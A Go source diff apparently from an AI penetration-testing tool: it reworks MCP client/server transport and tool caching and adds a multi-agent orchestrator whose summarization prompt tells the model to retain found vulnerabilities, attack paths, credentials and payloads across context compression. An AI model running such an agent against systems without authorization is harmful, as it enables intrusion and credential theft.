+	// 已连接：尝试获取最新工具列表
+	if client.IsConnected() {
+		tools, err := client.ListTools(ctx)
+		if err != nil {
+			// 获取失败，尝试使用缓存
+			return m.getCachedTools(name, "连接正常但获取失败", err)
+		}
+
+		// 获取成功，更新缓存
+		m.updateToolCache(name, tools)
+		return tools, nil
+	}
+
+	// 未连接：根据状态决定是否使用缓存
+	if status == "disconnected" || status == "connecting" {
+		return m.getCachedTools(name, fmt.Sprintf("客户端临时断开（状态: %s）", status), nil)
+	}
+
+	// 其他未知状态，不使用缓存
+	m.logger.Debug("跳过外部MCP（未知状态）",
+		zap.String("name", name),
+		zap.String("status", status),
+	)
+	return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
+}
+
+// getCachedTools 获取缓存的工具列表
+func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
+	m.toolCacheMu.RLock()
+	cachedTools, hasCache := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+
+	if hasCache && len(cachedTools) > 0 {
+		m.logger.Debug("使用缓存的工具列表",
+			zap.String("name", name),
+			zap.String("reason", reason),
+			zap.Int("count", len(cachedTools)),
+			zap.Error(originalErr),
+		)
+		return cachedTools, nil
+	}
+
+	// 无缓存，返回错误
+	if originalErr != nil {
+		return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
+	}
+	return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
+}
+
+// updateToolCache 更新工具列表缓存
+func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	m.toolCacheMu.Lock()
+	m.toolCache[name] = tools
+	m.toolCacheMu.Unlock()
+
+	// 如果返回空列表，记录警告
+	if len(tools) == 0 {
+		m.logger.Warn("外部MCP返回空工具列表",
+			zap.String("name", name),
+			zap.String("hint", "服务可能暂时不可用，工具列表为空"),
+		)
+	} else {
+		m.logger.Debug("工具列表缓存已更新",
+			zap.String("name", name),
+			zap.Int("count", len(tools)),
+		)
+	}
+}
+
 // CallTool 调用外部MCP工具（返回执行ID）
 func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args map[string]interface{}) (*ToolResult, string, error) {
 	// 解析工具名称：name::toolName
@@ -302,8 +414,18 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
 		return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
 	}
 
+	// 检查连接状态，如果未连接或状态为error，不允许调用
 	if !client.IsConnected() {
-		return nil, "", fmt.Errorf("外部MCP客户端未连接: %s", mcpName)
+		status := client.GetStatus()
+		if status == "error" {
+			// 获取错误信息（如果有）
+			errorMsg := m.GetError(mcpName)
+			if errorMsg != "" {
+				return nil, "", fmt.Errorf("外部MCP连接失败: %s (错误: %s)", mcpName, errorMsg)
+			}
+			return nil, "", fmt.Errorf("外部MCP连接失败: %s", mcpName)
+		}
+		return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
 	}
 
 	// 创建执行记录
@@ -630,11 +752,20 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 			cancel()
 
 			if err != nil {
-				m.logger.Debug("获取外部MCP工具数量失败",
-					zap.String("name", n),
-					zap.Error(err),
-				)
-				// 如果获取失败，保留旧值（在更新时处理）
+				errStr := err.Error()
+				// SSE 连接 EOF：远端可能关闭了流或未按规范在流上推送响应，仅首次用 Warn 提示
+				if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
+					m.logger.Warn("获取外部MCP工具数量失败（SSE 流已关闭或服务端未在流上返回 tools/list 响应）",
+						zap.String("name", n),
+						zap.String("hint", "若为 SSE 连接，请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
+						zap.Error(err),
+					)
+				} else {
+					m.logger.Warn("获取外部MCP工具数量失败，请检查连接或服务端 tools/list",
+						zap.String("name", n),
+						zap.Error(err),
+					)
+				}
 				resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
 				return
 			}
@@ -680,6 +811,40 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 	m.toolCountsMu.Unlock()
 }
 
+// refreshToolCache 刷新指定MCP的工具列表缓存
+func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPClient) {
+	if !client.IsConnected() {
+		return
+	}
+
+	// 检查状态，如果是error状态，不更新缓存
+	status := client.GetStatus()
+	if status == "error" {
+		m.logger.Debug("跳过刷新工具列表缓存（连接失败）",
+			zap.String("name", name),
+			zap.String("status", status),
+		)
+		return
+	}
+
+	// 使用较短的超时时间（5秒）
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+
+	tools, err := client.ListTools(ctx)
+	if err != nil {
+		m.logger.Debug("刷新工具列表缓存失败",
+			zap.String("name", name),
+			zap.Error(err),
+		)
+		// 刷新失败时不更新缓存，保留旧缓存（如果有）
+		return
+	}
+
+	// 使用统一的缓存更新方法
+	m.updateToolCache(name, tools)
+}
+
 // startToolCountRefresh 启动后台刷新工具数量的goroutine
 func (m *ExternalMCPManager) startToolCountRefresh() {
 	m.refreshWg.Add(1)
@@ -707,21 +872,13 @@ func (m *ExternalMCPManager) triggerToolCountRefresh() {
 	go m.refreshToolCounts()
 }
 
-// createClient 创建客户端（不连接）
+// createClient 创建客户端（不连接）。统一使用官方 MCP Go SDK 的 lazy 客户端，连接在 Initialize 时完成。
 func (m *ExternalMCPManager) createClient(serverCfg config.ExternalMCPServerConfig) ExternalMCPClient {
-	timeout := time.Duration(serverCfg.Timeout) * time.Second
-	if timeout <= 0 {
-		timeout = 30 * time.Second
-	}
-
-	// 根据传输模式创建客户端
 	transport := serverCfg.Transport
 	if transport == "" {
-		// 如果没有指定transport，根据是否有command或url判断
 		if serverCfg.Command != "" {
 			transport = "stdio"
 		} else if serverCfg.URL != "" {
-			// 默认使用http，但可以通过transport字段指定sse
 			transport = "http"
 		} else {
 			return nil
@@ -733,17 +890,23 @@ func (m *ExternalMCPManager) createClient(serverCfg config.ExternalMCPServerConf
 		if serverCfg.URL == "" {
 			return nil
 		}
-		return NewHTTPMCPClient(serverCfg.URL, timeout, m.logger)
+		return newLazySDKClient(serverCfg, m.logger)
+	case "simple_http":
+		// 简单 HTTP（一次 POST 一次响应），用于自建 MCP 等
+		if serverCfg.URL == "" {
+			return nil
+		}
+		return newLazySDKClient(serverCfg, m.logger)
 	case "stdio":
 		if serverCfg.Command == "" {
 			return nil
 		}
-		return NewStdioMCPClient(serverCfg.Command, serverCfg.Args, serverCfg.Env, timeout, m.logger)
+		return newLazySDKClient(serverCfg, m.logger)
 	case "sse":
 		if serverCfg.URL == "" {
 			return nil
 		}
-		return NewSSEMCPClient(serverCfg.URL, timeout, m.logger)
+		return newLazySDKClient(serverCfg, m.logger)
 	default:
 		return nil
 	}
@@ -773,12 +936,7 @@ func (m *ExternalMCPManager) doConnect(name string, serverCfg config.ExternalMCP
 
 // setClientStatus 设置客户端状态（通过类型断言）
 func (m *ExternalMCPManager) setClientStatus(client ExternalMCPClient, status string) {
-	switch c := client.(type) {
-	case *HTTPMCPClient:
-		c.setStatus(status)
-	case *StdioMCPClient:
-		c.setStatus(status)
-	case *SSEMCPClient:
+	if c, ok := client.(*lazySDKClient); ok {
 		c.setStatus(status)
 	}
 }
@@ -819,8 +977,13 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
 		zap.String("name", name),
 	)
 
-	// 连接成功，触发工具数量刷新
+	// 连接成功，触发工具数量刷新和工具列表缓存刷新
 	m.triggerToolCountRefresh()
+	m.mu.RLock()
+	if client, exists := m.clients[name]; exists {
+		m.refreshToolCache(name, client)
+	}
+	m.mu.RUnlock()
 
 	return nil
 }
@@ -926,6 +1089,11 @@ func (m *ExternalMCPManager) StopAll() {
 	m.toolCounts = make(map[string]int)
 	m.toolCountsMu.Unlock()
 
+	// 清理所有工具列表缓存
+	m.toolCacheMu.Lock()
+	m.toolCache = make(map[string][]Tool)
+	m.toolCacheMu.Unlock()
+
 	// 停止后台刷新（使用 select 避免重复关闭 channel）
 	select {
 	case <-m.stopRefresh:

internal/mcp/external_manager_test.go

@@ -151,48 +151,26 @@ func TestExternalMCPManager_LoadConfigs(t *testing.T) {
 	}
 }
 
-func TestHTTPMCPClient_Initialize(t *testing.T) {
-	// 注意：这个测试需要一个真实的HTTP MCP服务器
-	// 如果没有服务器，这个测试会失败
-	// 在实际测试中，可以使用mock服务器
+// TestLazySDKClient_InitializeFails 验证无效配置时 SDK 客户端 Initialize 失败并设置 error 状态
+func TestLazySDKClient_InitializeFails(t *testing.T) {
 	logger := zap.NewNop()
-	client := NewHTTPMCPClient("http://127.0.0.1:8081/mcp", 5*time.Second, logger)
-
+	// 使用不存在的 HTTP 地址，Initialize 应失败
+	cfg := config.ExternalMCPServerConfig{
+		Transport: "http",
+		URL:       "http://127.0.0.1:19999/nonexistent",
+		Timeout:   2,
+	}
+	c := newLazySDKClient(cfg, logger)
 	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 	defer cancel()
-
-	// 这个测试可能会失败，如果没有真实的服务器
-	// 在实际环境中，应该使用mock服务器
-	err := client.Initialize(ctx)
-	if err != nil {
-		t.Logf("初始化失败（可能是没有服务器）: %v", err)
+	err := c.Initialize(ctx)
+	if err == nil {
+		t.Fatal("expected error when connecting to invalid server")
 	}
-
-	status := client.GetStatus()
-	if status == "" {
-		t.Error("状态不应该为空")
+	if c.GetStatus() != "error" {
+		t.Errorf("expected status error, got %s", c.GetStatus())
 	}
-
-	client.Close()
-}
-
-func TestStdioMCPClient_Initialize(t *testing.T) {
-	// 注意：这个测试需要一个真实的stdio MCP服务器
-	// 如果没有服务器，这个测试会失败
-	logger := zap.NewNop()
-	client := NewStdioMCPClient("echo", []string{"test"}, nil, 5*time.Second, logger)
-
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
-	defer cancel()
-
-	// 这个测试可能会失败，因为echo不是MCP服务器
-	// 在实际环境中，应该使用真实的MCP服务器或mock
-	err := client.Initialize(ctx)
-	if err != nil {
-		t.Logf("初始化失败（echo不是MCP服务器）: %v", err)
-	}
-
-	client.Close()
+	c.Close()
 }
 
 func TestExternalMCPManager_StartStopClient(t *testing.T) {

internal/mcp/server.go

@@ -1,6 +1,7 @@
 package mcp
 
 import (
+	"bufio"
 	"context"
 	"encoding/json"
 	"fmt"
@@ -125,6 +126,13 @@ func (s *Server) HandleHTTP(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 
+	// 官方 MCP SSE 规范：带 sessionid 的 POST 表示消息发往该 SSE 会话，响应通过 SSE 流返回
+	if sessionID := r.URL.Query().Get("sessionid"); sessionID != "" {
+		s.serveSSESessionMessage(w, r, sessionID)
+		return
+	}
+
+	// 简单 POST：请求体为 JSON-RPC，响应在 body 中返回
 	body, err := io.ReadAll(r.Body)
 	if err != nil {
 		s.sendError(w, nil, -32700, "Parse error", err.Error())
@@ -137,14 +145,56 @@ func (s *Server) HandleHTTP(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 
-	// 处理消息
 	response := s.handleMessage(&msg)
-
 	w.Header().Set("Content-Type", "application/json")
 	json.NewEncoder(w).Encode(response)
 }
 
-// handleSSE 处理SSE连接（用于MCP HTTP传输的事件通道）
+// serveSSESessionMessage 处理发往 SSE 会话的 POST：读取 JSON-RPC 请求，处理后将响应通过该会话的 SSE 流推送
+func (s *Server) serveSSESessionMessage(w http.ResponseWriter, r *http.Request, sessionID string) {
+	s.mu.RLock()
+	client, exists := s.sseClients[sessionID]
+	s.mu.RUnlock()
+	if !exists || client == nil {
+		http.Error(w, "session not found", http.StatusNotFound)
+		return
+	}
+
+	body, err := io.ReadAll(r.Body)
+	if err != nil {
+		http.Error(w, "failed to read body", http.StatusBadRequest)
+		return
+	}
+
+	var msg Message
+	if err := json.Unmarshal(body, &msg); err != nil {
+		http.Error(w, "failed to parse body", http.StatusBadRequest)
+		return
+	}
+
+	response := s.handleMessage(&msg)
+	if response == nil {
+		w.WriteHeader(http.StatusAccepted)
+		return
+	}
+
+	respBytes, err := json.Marshal(response)
+	if err != nil {
+		http.Error(w, "failed to encode response", http.StatusInternalServerError)
+		return
+	}
+
+	select {
+	case client.send <- respBytes:
+		w.WriteHeader(http.StatusAccepted)
+	default:
+		http.Error(w, "session send buffer full", http.StatusServiceUnavailable)
+	}
+}
+
+// handleSSE 处理 SSE 连接，兼容官方 MCP 2024-11-05 SSE 规范：
+// 1. 首个事件必须为 event: endpoint，data 为客户端 POST 消息的 URL（含 sessionid）
+// 2. 后续事件为 event: message，data 为 JSON-RPC 响应
 func (s *Server) handleSSE(w http.ResponseWriter, r *http.Request) {
 	flusher, ok := w.(http.Flusher)
 	if !ok {
@@ -157,16 +207,25 @@ func (s *Server) handleSSE(w http.ResponseWriter, r *http.Request) {
 	w.Header().Set("Connection", "keep-alive")
 	w.Header().Set("X-Accel-Buffering", "no")
 
+	sessionID := uuid.New().String()
 	client := &sseClient{
-		id:   uuid.New().String(),
-		send: make(chan []byte, 8),
+		id:   sessionID,
+		send: make(chan []byte, 32),
 	}
 
 	s.addSSEClient(client)
 	defer s.removeSSEClient(client.id)
 
-	// 发送初始ready事件，告知客户端连接成功
-	fmt.Fprintf(w, "event: message\ndata: {\"type\":\"ready\",\"status\":\"ok\"}\n\n")
+	// 官方规范：首个事件为 endpoint，data 为消息端点 URL（客户端将向该 URL POST 请求）
+	scheme := "http"
+	if r.TLS != nil {
+		scheme = "https"
+	}
+	if r.URL.Scheme != "" {
+		scheme = r.URL.Scheme
+	}
+	endpointURL := fmt.Sprintf("%s://%s%s?sessionid=%s", scheme, r.Host, r.URL.Path, sessionID)
+	fmt.Fprintf(w, "event: endpoint\ndata: %s\n\n", endpointURL)
 	flusher.Flush()
 
 	ticker := time.NewTicker(15 * time.Second)
@@ -183,7 +242,6 @@ func (s *Server) handleSSE(w http.ResponseWriter, r *http.Request) {
 			fmt.Fprintf(w, "event: message\ndata: %s\n\n", msg)
 			flusher.Flush()
 		case <-ticker.C:
-			// 心跳保持连接
 			fmt.Fprintf(w, ": ping\n\n")
 			flusher.Flush()
 		}
@@ -311,6 +369,7 @@ func (s *Server) handleListTools(msg *Message) *Message {
 		tools = append(tools, tool)
 	}
 	s.mu.RUnlock()
+	s.logger.Debug("tools/list 请求", zap.Int("返回工具数", len(tools)))
 
 	response := ListToolsResponse{Tools: tools}
 	result, _ := json.Marshal(response)
@@ -1110,10 +1169,11 @@ func (s *Server) RegisterResource(resource *Resource) {
 }
 
 // HandleStdio 处理标准输入输出（用于 stdio 传输模式）
-// MCP 协议使用换行分隔的 JSON-RPC 消息
+// MCP 协议使用换行分隔的 JSON-RPC 消息；管道下需每次写入后 Flush，否则客户端会读不到响应
 func (s *Server) HandleStdio() error {
 	decoder := json.NewDecoder(os.Stdin)
-	encoder := json.NewEncoder(os.Stdout)
+	stdout := bufio.NewWriter(os.Stdout)
+	encoder := json.NewEncoder(stdout)
 	// 注意：不设置缩进，MCP 协议期望紧凑的 JSON 格式
 
 	for {
@@ -1134,6 +1194,9 @@ func (s *Server) HandleStdio() error {
 			if err := encoder.Encode(errorMsg); err != nil {
 				return fmt.Errorf("发送错误响应失败: %w", err)
 			}
+			if err := stdout.Flush(); err != nil {
+				return fmt.Errorf("刷新 stdout 失败: %w", err)
+			}
 			continue
 		}
 
@@ -1149,6 +1212,9 @@ func (s *Server) HandleStdio() error {
 		if err := encoder.Encode(response); err != nil {
 			return fmt.Errorf("发送响应失败: %w", err)
 		}
+		if err := stdout.Flush(); err != nil {
+			return fmt.Errorf("刷新 stdout 失败: %w", err)
+		}
 	}
 
 	return nil

internal/mcp/types.go

@@ -1,11 +1,22 @@
 package mcp
 
 import (
+	"context"
 	"encoding/json"
 	"fmt"
 	"time"
 )
 
+// ExternalMCPClient 外部 MCP 客户端接口（由 client_sdk.go 基于官方 SDK 实现）
+type ExternalMCPClient interface {
+	Initialize(ctx context.Context) error
+	ListTools(ctx context.Context) ([]Tool, error)
+	CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error)
+	Close() error
+	IsConnected() bool
+	GetStatus() string
+}
+
 // MCP消息类型
 const (
 	MessageTypeRequest  = "request"
@@ -29,21 +40,21 @@ func (m *MessageID) UnmarshalJSON(data []byte) error {
 		m.value = nil
 		return nil
 	}
-	
+
 	// 尝试解析为字符串
 	var str string
 	if err := json.Unmarshal(data, &str); err == nil {
 		m.value = str
 		return nil
 	}
-	
+
 	// 尝试解析为数字
 	var num json.Number
 	if err := json.Unmarshal(data, &num); err == nil {
 		m.value = num
 		return nil
 	}
-	
+
 	return fmt.Errorf("invalid id type")
 }
 
@@ -81,15 +92,15 @@ type Message struct {
 
 // Error 表示MCP错误
 type Error struct {
-	Code    int    `json:"code"`
-	Message string `json:"message"`
+	Code    int         `json:"code"`
+	Message string      `json:"message"`
 	Data    interface{} `json:"data,omitempty"`
 }
 
 // Tool 表示MCP工具定义
 type Tool struct {
 	Name             string                 `json:"name"`
-	Description      string                 `json:"description"`      // 详细描述
+	Description      string                 `json:"description"`                // 详细描述
 	ShortDescription string                 `json:"shortDescription,omitempty"` // 简短描述（用于工具列表，减少token消耗）
 	InputSchema      map[string]interface{} `json:"inputSchema"`
 }
@@ -127,9 +138,9 @@ type ClientInfo struct {
 
 // InitializeResponse 初始化响应
 type InitializeResponse struct {
-	ProtocolVersion string                 `json:"protocolVersion"`
-	Capabilities    ServerCapabilities     `json:"capabilities"`
-	ServerInfo      ServerInfo             `json:"serverInfo"`
+	ProtocolVersion string             `json:"protocolVersion"`
+	Capabilities    ServerCapabilities `json:"capabilities"`
+	ServerInfo      ServerInfo         `json:"serverInfo"`
 }
 
 // ServerCapabilities 服务器能力
@@ -178,31 +189,31 @@ type CallToolResponse struct {
 
 // ToolExecution 工具执行记录
 type ToolExecution struct {
-	ID          string                 `json:"id"`
-	ToolName    string                 `json:"toolName"`
-	Arguments   map[string]interface{} `json:"arguments"`
-	Status      string                 `json:"status"` // pending, running, completed, failed
-	Result      *ToolResult            `json:"result,omitempty"`
-	Error       string                 `json:"error,omitempty"`
-	StartTime   time.Time              `json:"startTime"`
-	EndTime     *time.Time             `json:"endTime,omitempty"`
-	Duration    time.Duration          `json:"duration,omitempty"`
+	ID        string                 `json:"id"`
+	ToolName  string                 `json:"toolName"`
+	Arguments map[string]interface{} `json:"arguments"`
+	Status    string                 `json:"status"` // pending, running, completed, failed
+	Result    *ToolResult            `json:"result,omitempty"`
+	Error     string                 `json:"error,omitempty"`
+	StartTime time.Time              `json:"startTime"`
+	EndTime   *time.Time             `json:"endTime,omitempty"`
+	Duration  time.Duration          `json:"duration,omitempty"`
 }
 
 // ToolStats 工具统计信息
 type ToolStats struct {
-	ToolName     string `json:"toolName"`
-	TotalCalls   int    `json:"totalCalls"`
-	SuccessCalls int    `json:"successCalls"`
-	FailedCalls  int    `json:"failedCalls"`
+	ToolName     string     `json:"toolName"`
+	TotalCalls   int        `json:"totalCalls"`
+	SuccessCalls int        `json:"successCalls"`
+	FailedCalls  int        `json:"failedCalls"`
 	LastCallTime *time.Time `json:"lastCallTime,omitempty"`
 }
 
 // Prompt 提示词模板
 type Prompt struct {
-	Name        string                 `json:"name"`
-	Description string                 `json:"description,omitempty"`
-	Arguments   []PromptArgument       `json:"arguments,omitempty"`
+	Name        string           `json:"name"`
+	Description string           `json:"description,omitempty"`
+	Arguments   []PromptArgument `json:"arguments,omitempty"`
 }
 
 // PromptArgument 提示词参数
@@ -257,11 +268,11 @@ type ResourceContent struct {
 
 // SamplingRequest 采样请求
 type SamplingRequest struct {
-	Messages []SamplingMessage `json:"messages"`
-	Model    string            `json:"model,omitempty"`
-	MaxTokens int              `json:"maxTokens,omitempty"`
-	Temperature float64        `json:"temperature,omitempty"`
-	TopP       float64         `json:"topP,omitempty"`
+	Messages    []SamplingMessage `json:"messages"`
+	Model       string            `json:"model,omitempty"`
+	MaxTokens   int               `json:"maxTokens,omitempty"`
+	Temperature float64           `json:"temperature,omitempty"`
+	TopP        float64           `json:"topP,omitempty"`
 }
 
 // SamplingMessage 采样消息
@@ -272,9 +283,9 @@ type SamplingMessage struct {
 
 // SamplingResponse 采样响应
 type SamplingResponse struct {
-	Content []SamplingContent `json:"content"`
-	Model   string            `json:"model,omitempty"`
-	StopReason string         `json:"stopReason,omitempty"`
+	Content    []SamplingContent `json:"content"`
+	Model      string            `json:"model,omitempty"`
+	StopReason string            `json:"stopReason,omitempty"`
 }
 
 // SamplingContent 采样内容
@@ -282,4 +293,3 @@ type SamplingContent struct {
 	Type string `json:"type"`
 	Text string `json:"text,omitempty"`
 }
-

internal/multiagent/eino_summarize.go

@@ -0,0 +1,140 @@
+package multiagent
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"cyberstrike-ai/internal/agent"
+	"cyberstrike-ai/internal/config"
+
+	"github.com/bytedance/sonic"
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/adk/middlewares/summarization"
+	"github.com/cloudwego/eino/components/model"
+	"github.com/cloudwego/eino/schema"
+	"go.uber.org/zap"
+)
+
+// einoSummarizeUserInstruction 与单 Agent MemoryCompressor 目标一致：压缩时保留渗透关键信息。
+const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
+
+必须保留：已确认漏洞与攻击路径、工具输出中的核心发现、凭证与认证细节、架构与薄弱点、当前进度、失败尝试与死路、策略决策。
+保留精确技术细节（URL、路径、参数、Payload、版本号、报错原文可摘要但要点不丢）。
+将冗长扫描输出概括为结论；重复发现合并表述。
+
+输出须使后续代理能无缝继续同一授权测试任务。`
+
+// newEinoSummarizationMiddleware 使用 Eino ADK Summarization 中间件（见 https://www.cloudwego.io/zh/docs/eino/core_modules/eino_adk/eino_adk_chatmodelagentmiddleware/middleware_summarization/）。
+// 触发阈值与单 Agent MemoryCompressor 一致：当估算 token 超过 openai.max_total_tokens 的 90% 时摘要。
+func newEinoSummarizationMiddleware(
+	ctx context.Context,
+	summaryModel model.BaseChatModel,
+	appCfg *config.Config,
+	logger *zap.Logger,
+) (adk.ChatModelAgentMiddleware, error) {
+	if summaryModel == nil || appCfg == nil {
+		return nil, fmt.Errorf("multiagent: summarization 需要 model 与配置")
+	}
+	maxTotal := appCfg.OpenAI.MaxTotalTokens
+	if maxTotal <= 0 {
+		maxTotal = 120000
+	}
+	trigger := int(float64(maxTotal) * 0.9)
+	if trigger < 4096 {
+		trigger = maxTotal
+		if trigger < 4096 {
+			trigger = 4096
+		}
+	}
+	preserveMax := trigger / 3
+	if preserveMax < 2048 {
+		preserveMax = 2048
+	}
+
+	modelName := strings.TrimSpace(appCfg.OpenAI.Model)
+	if modelName == "" {
+		modelName = "gpt-4o"
+	}
+
+	mw, err := summarization.New(ctx, &summarization.Config{
+		Model: summaryModel,
+		Trigger: &summarization.TriggerCondition{
+			ContextTokens: trigger,
+		},
+		TokenCounter:       einoSummarizationTokenCounter(modelName),
+		UserInstruction:    einoSummarizeUserInstruction,
+		EmitInternalEvents: false,
+		PreserveUserMessages: &summarization.PreserveUserMessages{
+			Enabled:   true,
+			MaxTokens: preserveMax,
+		},
+		Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
+			if logger == nil {
+				return nil
+			}
+			logger.Info("eino summarization 已压缩上下文",
+				zap.Int("messages_before", len(before.Messages)),
+				zap.Int("messages_after", len(after.Messages)),
+				zap.Int("max_total_tokens", maxTotal),
+				zap.Int("trigger_context_tokens", trigger),
+			)
+			return nil
+		},
+	})
+	if err != nil {
+		return nil, fmt.Errorf("summarization.New: %w", err)
+	}
+	return mw, nil
+}
+
+func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
+	tc := agent.NewTikTokenCounter()
+	return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
+		var sb strings.Builder
+		for _, msg := range input.Messages {
+			if msg == nil {
+				continue
+			}
+			sb.WriteString(string(msg.Role))
+			sb.WriteByte('\n')
+			if msg.Content != "" {
+				sb.WriteString(msg.Content)
+				sb.WriteByte('\n')
+			}
+			if msg.ReasoningContent != "" {
+				sb.WriteString(msg.ReasoningContent)
+				sb.WriteByte('\n')
+			}
+			if len(msg.ToolCalls) > 0 {
+				if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
+					sb.Write(b)
+					sb.WriteByte('\n')
+				}
+			}
+			for _, part := range msg.UserInputMultiContent {
+				if part.Type == schema.ChatMessagePartTypeText && part.Text != "" {
+					sb.WriteString(part.Text)
+					sb.WriteByte('\n')
+				}
+			}
+		}
+		for _, tl := range input.Tools {
+			if tl == nil {
+				continue
+			}
+			cp := *tl
+			cp.Extra = nil
+			if text, err := sonic.MarshalString(cp); err == nil {
+				sb.WriteString(text)
+				sb.WriteByte('\n')
+			}
+		}
+		text := sb.String()
+		n, err := tc.Count(openAIModel, text)
+		if err != nil {
+			return (len(text) + 3) / 4, nil
+		}
+		return n, nil
+	}
+}

internal/multiagent/runner.go

@@ -0,0 +1,734 @@
+// Package multiagent 使用 CloudWeGo Eino 的 DeepAgent（adk/prebuilt/deep）编排多代理，MCP 工具经 einomcp 桥接到现有 Agent。
+package multiagent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net"
+	"net/http"
+	"sort"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"cyberstrike-ai/internal/agent"
+	"cyberstrike-ai/internal/agents"
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/einomcp"
+
+	einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/adk/prebuilt/deep"
+	"github.com/cloudwego/eino/compose"
+	"github.com/cloudwego/eino/schema"
+	"go.uber.org/zap"
+)
+
+// RunResult 与单 Agent 循环结果字段对齐，便于复用存储与 SSE 收尾逻辑。
+type RunResult struct {
+	Response        string
+	MCPExecutionIDs []string
+	LastReActInput  string
+	LastReActOutput string
+}
+
+// RunDeepAgent 使用 Eino DeepAgent 执行一轮对话（流式事件通过 progress 回调输出）。
+func RunDeepAgent(
+	ctx context.Context,
+	appCfg *config.Config,
+	ma *config.MultiAgentConfig,
+	ag *agent.Agent,
+	logger *zap.Logger,
+	conversationID string,
+	userMessage string,
+	history []agent.ChatMessage,
+	roleTools []string,
+	progress func(eventType, message string, data interface{}),
+	agentsMarkdownDir string,
+) (*RunResult, error) {
+	if appCfg == nil || ma == nil || ag == nil {
+		return nil, fmt.Errorf("multiagent: 配置或 Agent 为空")
+	}
+
+	effectiveSubs := ma.SubAgents
+	var orch *agents.OrchestratorMarkdown
+	if strings.TrimSpace(agentsMarkdownDir) != "" {
+		load, merr := agents.LoadMarkdownAgentsDir(agentsMarkdownDir)
+		if merr != nil {
+			if logger != nil {
+				logger.Warn("加载 agents 目录 Markdown 失败，沿用 config 中的 sub_agents", zap.Error(merr))
+			}
+		} else {
+			effectiveSubs = agents.MergeYAMLAndMarkdown(ma.SubAgents, load.SubAgents)
+			orch = load.Orchestrator
+		}
+	}
+	if ma.WithoutGeneralSubAgent && len(effectiveSubs) == 0 {
+		return nil, fmt.Errorf("multi_agent.without_general_sub_agent 为 true 时，必须在 multi_agent.sub_agents 或 agents 目录 Markdown 中配置至少一个子代理")
+	}
+
+	holder := &einomcp.ConversationHolder{}
+	holder.Set(conversationID)
+
+	var mcpIDsMu sync.Mutex
+	var mcpIDs []string
+	recorder := func(id string) {
+		if id == "" {
+			return
+		}
+		mcpIDsMu.Lock()
+		mcpIDs = append(mcpIDs, id)
+		mcpIDsMu.Unlock()
+	}
+
+	// 与单代理流式一致：在 response_start / response_delta 的 data 中带当前 mcpExecutionIds，供主聊天绑定复制与展示。
+	snapshotMCPIDs := func() []string {
+		mcpIDsMu.Lock()
+		defer mcpIDsMu.Unlock()
+		out := make([]string, len(mcpIDs))
+		copy(out, mcpIDs)
+		return out
+	}
+
+	mainDefs := ag.ToolsForRole(roleTools)
+	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder)
+	if err != nil {
+		return nil, err
+	}
+
+	httpClient := &http.Client{
+		Timeout: 30 * time.Minute,
+		Transport: &http.Transport{
+			DialContext: (&net.Dialer{
+				Timeout:   300 * time.Second,
+				KeepAlive: 300 * time.Second,
+			}).DialContext,
+			MaxIdleConns:          100,
+			MaxIdleConnsPerHost:   10,
+			IdleConnTimeout:       90 * time.Second,
+			TLSHandshakeTimeout:   30 * time.Second,
+			ResponseHeaderTimeout: 60 * time.Minute,
+		},
+	}
+
+	baseModelCfg := &einoopenai.ChatModelConfig{
+		APIKey:     appCfg.OpenAI.APIKey,
+		BaseURL:    strings.TrimSuffix(appCfg.OpenAI.BaseURL, "/"),
+		Model:      appCfg.OpenAI.Model,
+		HTTPClient: httpClient,
+	}
+
+	deepMaxIter := ma.MaxIteration
+	if deepMaxIter <= 0 {
+		deepMaxIter = appCfg.Agent.MaxIterations
+	}
+	if deepMaxIter <= 0 {
+		deepMaxIter = 40
+	}
+
+	subDefaultIter := ma.SubAgentMaxIterations
+	if subDefaultIter <= 0 {
+		subDefaultIter = 20
+	}
+
+	subAgents := make([]adk.Agent, 0, len(effectiveSubs))
+	for _, sub := range effectiveSubs {
+		id := strings.TrimSpace(sub.ID)
+		if id == "" {
+			return nil, fmt.Errorf("multi_agent.sub_agents 中存在空的 id")
+		}
+		name := strings.TrimSpace(sub.Name)
+		if name == "" {
+			name = id
+		}
+		desc := strings.TrimSpace(sub.Description)
+		if desc == "" {
+			desc = fmt.Sprintf("Specialist agent %s for penetration testing workflow.", id)
+		}
+		instr := strings.TrimSpace(sub.Instruction)
+		if instr == "" {
